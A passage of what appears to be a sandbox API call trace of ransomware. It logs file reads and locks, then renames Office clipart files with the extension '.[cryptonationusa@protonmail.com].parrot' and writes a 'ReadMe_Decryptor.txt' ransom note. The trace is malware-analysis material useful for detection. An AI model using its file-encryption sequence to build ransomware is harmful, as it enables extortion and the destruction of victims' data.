lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b40, lpOverlapped=0x0) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.250] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.250] CloseHandle (hObject=0x27c) returned 1 [0141.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.269] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.269] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.269] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.272] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.272] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x80d4, lpOverlapped=0x0) returned 1 [0141.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.275] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.275] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.276] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.276] CloseHandle (hObject=0x288) returned 1 [0141.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.280] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xccb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.280] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.280] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.281] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.282] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcba0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcba0, lpOverlapped=0x0) returned 1 [0141.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.286] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.287] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xccb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.287] CloseHandle (hObject=0x288) returned 1 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.291] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5818, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.291] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.291] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.292] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.292] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5700, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5700, lpOverlapped=0x0) returned 1 [0141.293] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.295] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.296] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5818, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.296] CloseHandle (hObject=0x288) returned 1 [0141.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.299] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61da, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.299] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.299] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.302] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60c2, lpOverlapped=0x0) returned 1 [0141.302] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.303] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.303] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.303] CloseHandle (hObject=0x288) returned 1 [0141.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.306] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.306] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.306] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.311] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x51be, lpOverlapped=0x0) returned 1 [0141.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.313] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.313] CloseHandle (hObject=0x288) returned 1 [0141.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.316] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ab8, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.316] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.318] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.318] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59a0, lpOverlapped=0x0) returned 1 [0141.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.319] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ab8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.319] CloseHandle (hObject=0x288) returned 1 [0141.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.323] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x144c, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.323] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.324] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.325] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1334, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1334, lpOverlapped=0x0) returned 1 [0141.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.328] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.329] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x144c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.329] CloseHandle (hObject=0x288) returned 1 [0141.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238927.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238927.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.332] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e54, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.332] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.332] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.334] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.334] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d3c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d3c, lpOverlapped=0x0) returned 1 [0141.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.335] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.335] CloseHandle (hObject=0x288) returned 1 [0141.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0141.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0141.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0141.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0141.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0141.338] GetFileType (hFile=0x288) returned 0x1 [0141.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0141.348] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.348] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.348] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.351] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.354] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13b8, lpOverlapped=0x0) returned 1 [0141.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0141.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0141.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0141.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0141.358] GetLastError () returned 0x0 [0141.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0141.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0141.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0141.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0141.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0141.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0141.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: 